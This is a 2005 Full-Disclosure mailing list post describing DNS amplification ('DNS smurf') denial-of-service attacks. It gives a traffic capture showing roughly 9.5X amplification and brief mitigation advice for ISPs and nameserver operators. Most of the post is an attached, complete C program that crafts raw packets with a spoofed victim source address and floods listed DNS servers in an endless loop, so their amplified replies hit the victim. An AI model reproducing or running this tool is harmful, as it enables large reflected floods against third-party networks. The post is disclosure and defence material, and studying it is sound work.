[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] DNS Smurf revisited



DNS smurf is old news:

http://www.s0ftpj.org/docs/spj-002-000.txt
http://www.ciac.org/ciac/bulletins/j-063.shtml

However, as ISPs continue to operate networks that let spoofed packets
out this issue deserves a little publicity again.

10:17:07.641061 IP (tos 0x0, ttl  64, id 46429, offset 0, flags [DF], length: 
49) XXXXXXXXXXXXX.44295 > c.gtld-servers.net.domain: [udp sum ok]  18297 ANY? 
org. (21)
10:17:07.673800 IP (tos 0x0, ttl  43, id 0, offset 0, flags [DF], length: 468) 
c.gtld-servers.net.domain > XXXXXXXXXXXXX.44295: 18297- 0/13/13 (440)

% echo "2 k 468 49 / p" | dc
9.55

That's a 9.5X amplification of outgoing traffic; you can probably break
10X with a little more work on the query and nameserver choices.


SOLUTIONS
---------

ISPs: Drop outgoing packets that don't originate from within your
network.  You should already be doing this, as it stops a variety of
other attacks.

NS operators: Ratelimit?


Attached is a modernized proof of concept.

-- 
Ian Gulliver
Penguin Hosting
"Failure is not an option; it comes bundled with your Microsoft products."
/*
 * dnos.c - DNS amplified DoS proof of concept
 * Copyright (C) 2005 Ian Gulliver
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of version 2 of the GNU General Public License as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 * */

// Linux will do the IP checksum in the kernel anyway
#define SKIP_IP_CHECKSUM

#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>

struct s_packet {
        unsigned char   packet[512];
        unsigned int    len;
        struct sockaddr_in      dest;
        struct s_packet *next;
};

struct s_dns_rr_type {
        char            name[6];
        char            value[3];
};

struct s_dns_rr_type rr_types[] = {
        { "A",     "\x00\x01" },
        { "NS",    "\x00\x02" },
        { "CNAME", "\x00\x05" },
        { "SOA",   "\x00\x06" },
        { "PTR",   "\x00\x0c" },
        { "MX",    "\x00\x0f" },
        { "TXT",   "\x00\x10" },
        { "AAAA",  "\x00\x1c" },
        { "ANY",   "\x00\xff" }
};

struct s_packet *packet_head = NULL;

static const unsigned char packet_template[] =
        // IP Header
        "\x45"             // 00: Version (4), header size in 4-byte blocks (5)
        "\x00"             // 01: TOS (0)
        "\x00\x00"         // 02-03: Total length (filled in later)
        "\x00\x00"         // 04-05: ID (random)
        "\x40\x00"         // 06-07: Flags (4 = DF), fragment offset (0)
        "\x00"             // 08: TTL (random > 64)
        "\x11"             // 09: Protocol (17 = UDP)
        "\x00\x00"         // 10-11: Header checksum (filled in later)
        "\x00\x00\x00\x00" // 12-15: Source IP (filled in later)
        "\x00\x00\x00\x00" // 16-19: Destination IP (filled in later)

        // UDP Header
        "\x00\x00"         // 20-21: Source port (random)
        "\x00\x35"         // 22-23: Destination port (53)
        "\x00\x00"         // 24-25: UDP packet length (filled in later)
        "\x00\x00"         // 26-27: UDP packet checksum (filled in later)

        // DNS packet
        "\x00\x00"         // 28-29: Identification (random)
        "\x00\x00"         // 30-31: Flags (0)
        "\x00\x01"         // 32-33: Questions (1)
        "\x00\x00"         // 34-35: Answers (0)
        "\x00\x00"         // 36-37: Authority (0)
        "\x00\x00"         // 38-39: Additional (0)
        // Space left to encode RRs
        ;

void do_random(unsigned char *dest, int min) {
        *dest = min + (rand() % (255 - min));
}

void do_udp_checksum(struct s_packet *packet) {
        uint32_t sum = 0;
        uint16_t word;
        int i;

        packet->packet[26] = 0;
        packet->packet[27] = 0;

        for (i = 20; i < packet->len; i += 2) {
                word = ((packet->packet[i] << 8) & 0xff00) + 
(packet->packet[i+1] & 0xff);
                sum += (uint32_t) word;
        }
        for (i = 12; i < 20; i += 2) {
                word = ((packet->packet[i] << 8) & 0xff00) + 
(packet->packet[i+1] & 0xff);
                sum += (uint32_t) word;
        }

        sum += 17 + packet->len - 20;

        while (sum >> 16)
                sum = (sum & 0xffff) + (sum >> 16);

        sum = ~sum;

        packet->packet[27] = sum & 0xff;
        packet->packet[26] = (sum & 0xff00) >> 8;
}

void do_ip_checksum(struct s_packet *packet) {
        uint32_t sum = 0;
        uint16_t word;
        int i;

        packet->packet[10] = 0;
        packet->packet[11] = 0;

        for (i = 0; i < 20; i += 2) {
                word = ((packet->packet[i] << 8) & 0xff00) + 
(packet->packet[i+1] & 0xff);
                sum += (uint32_t) word;
        }

        while (sum >> 16)
                sum = (sum & 0xffff) + (sum >> 16);

        sum = ~sum;

        packet->packet[11] = sum & 0xff;
        packet->packet[10] = (sum & 0xff00) >> 8;
}

void do_packet_everytime(struct s_packet *packet) {
        do_random(&packet->packet[4],0);
        do_random(&packet->packet[5],0);
        do_random(&packet->packet[8],64);
        do_random(&packet->packet[20],0);
        do_random(&packet->packet[21],0);
        do_random(&packet->packet[28],0);
        do_random(&packet->packet[29],0);
        do_udp_checksum(packet);
#ifndef SKIP_IP_CHECKSUM
        do_ip_checksum(packet);
#endif
}

void encode_ip(unsigned char *dest, char *string) {
        struct hostent *dnsres;
        if ((dnsres = gethostbyname(string)) == NULL || dnsres->h_addr_list == 
NULL || dnsres->h_addr_list[0] == NULL) {
                fprintf(stderr,"Unable to resolve %s.\n",string);
                exit(1);
        }
        memcpy(dest,dnsres->h_addr_list[0],4);
        return;
}

void add_label(struct s_packet *packet, char *label) {
        int i = strlen(label);
        if (i > 63) {
                fprintf(stderr,"DNS labels are limited to 63 characters.\n");
                exit(1);
        }
        packet->packet[packet->len++] = (unsigned char) i;
        memcpy(&packet->packet[packet->len],label,i);
        packet->len += i;
}

void add_hostname(struct s_packet *packet, char *hostname) {
        unsigned char *temp,*next = hostname;
        while (next != NULL) {
                temp = strchr(hostname,'.');
                if (temp == NULL) {
                        next = NULL;
                } else {
                        temp[0] = '\0';
                        next = &temp[1];
                }
                add_label(packet,hostname);
                hostname = next;
        }
        if (packet->packet[packet->len - 1] != '\0')
                add_label(packet,""); // people deal with unterminated labels
}

void add_type(struct s_packet *packet, char *type) {
        int i;
        for (i = 0; i < sizeof(rr_types) / sizeof(*rr_types); i++) {
                if (strcasecmp(rr_types[i].name,type) == 0) {
                        
memcpy(&packet->packet[packet->len],rr_types[i].value,2);
                        packet->len += 2;
                        return;
                }
        }

        fprintf(stderr,"Unknown packet type: '%s'\n",type);
        exit(1);
}

void add_class_in(struct s_packet *packet) {
        memcpy(&packet->packet[packet->len],"\x00\x01",2);
        packet->len += 2;
}

void parse_line(struct s_packet *packet, char *line, unsigned char *dest_addr) {
        unsigned char bounce_addr[4];
        char *start,*end;

        memcpy(packet->packet,packet_template,sizeof(packet_template));
        packet->len = sizeof(packet_template) - 1;
        memcpy(&packet->packet[12],dest_addr,4);
        memset(&packet->dest,'\0',sizeof(packet->dest));
        packet->dest.sin_family = AF_INET;
        packet->dest.sin_port = htons(53);

        start = line;
        end = strchr(start,':');
        if (end == NULL) {
                fprintf(stderr,"Malformed line: %s\n",line);
                exit(1);
        }
        *end = '\0';

        encode_ip(bounce_addr,start);
        memcpy(&packet->packet[16],bounce_addr,4);
        memcpy(&packet->dest.sin_addr.s_addr,bounce_addr,4);

        start = &end[1];
        end = strchr(start,':');
        if (end == NULL) {
                fprintf(stderr,"Malformed line: %s\n",line);
                exit(1);
        }
        *end = '\0';

        if (strlen(start) > 400) {
                fprintf(stderr,"Use *small* DNS packets for amplification.\n");
                exit(1);
        }

        add_hostname(packet,start);

        start = &end[1];
        end = strchr(start,'\n');
        if (end == NULL) {
                fprintf(stderr,"Malformed line: %s\n",line);
                exit(1);
        }
        *end = '\0';

        add_type(packet,start);
        add_class_in(packet);
        
        packet->packet[3] = packet->len & 0xff;
        packet->packet[2] = (packet->len & 0xff00) >> 8;

        packet->packet[25] = (packet->len - 20) & 0xff;
        packet->packet[24] = ((packet->len - 20) & 0xff00) >> 8;

        packet->packet[packet->len] = '\0'; // in case UDP header runs into odd 
number of octets
}

void readfile(char *filename, char *destination) {
        unsigned char dest_addr[4];
        char buffer[1024];
        FILE *input;
        struct s_packet *packet_iter = NULL;

        encode_ip(dest_addr,destination);

        if ((input = fopen(filename,"r")) == NULL) {
                perror("Unable to open input file");
                exit(1);
        }

        while (fgets(buffer,1024,input) != NULL) {
                struct s_packet *new_packet;
                if (buffer[0] == '\n' || buffer[0] == '\0' || buffer[0] == '#')
                        continue;

                if ((new_packet = malloc(sizeof(struct s_packet))) == NULL) {
                        perror("malloc");
                        exit(1);
                }

                if (packet_iter == NULL)
                        packet_iter = packet_head = new_packet;
                else
                        packet_iter = packet_iter->next = new_packet;

                parse_line(packet_iter,buffer,dest_addr);
        }

        if (packet_iter == NULL) {
                fprintf(stderr,"No records found in file.\n");
                exit(1);
        }

        packet_iter->next = packet_head; // circular list now
}

int main(int argc, char *argv[]) {
        struct s_packet *packet_iter = NULL;
        int s;
        if (argc != 3) {
                fprintf(stderr,"Usage: %s <filename> <destination>\n"
                                "File format is:\n"
                                "<nameserver hostname or IP>:<query 
hostname>:<query type>\n",argv[0]);
                exit(1);
        }

        readfile(argv[1],argv[2]);

        srand(time(NULL));

        s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
        if (s == -1) {
                perror("socket(IPPROTO_RAW)");
                exit(1);
        }

        printf("Sending packets...\n");
        packet_iter = packet_head;
        while (1) {
                do_packet_everytime(packet_iter);
                if (sendto(s,packet_iter->packet,packet_iter->len,0,(struct 
sockaddr *)&packet_iter->dest,sizeof(packet_iter->dest)) != packet_iter->len) { 
                        perror("sendmsg");
                        exit(1);
                }
                packet_iter = packet_iter->next;
        }

        return 0;
}

Attachment: signature.asc
Description: Digital signature

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/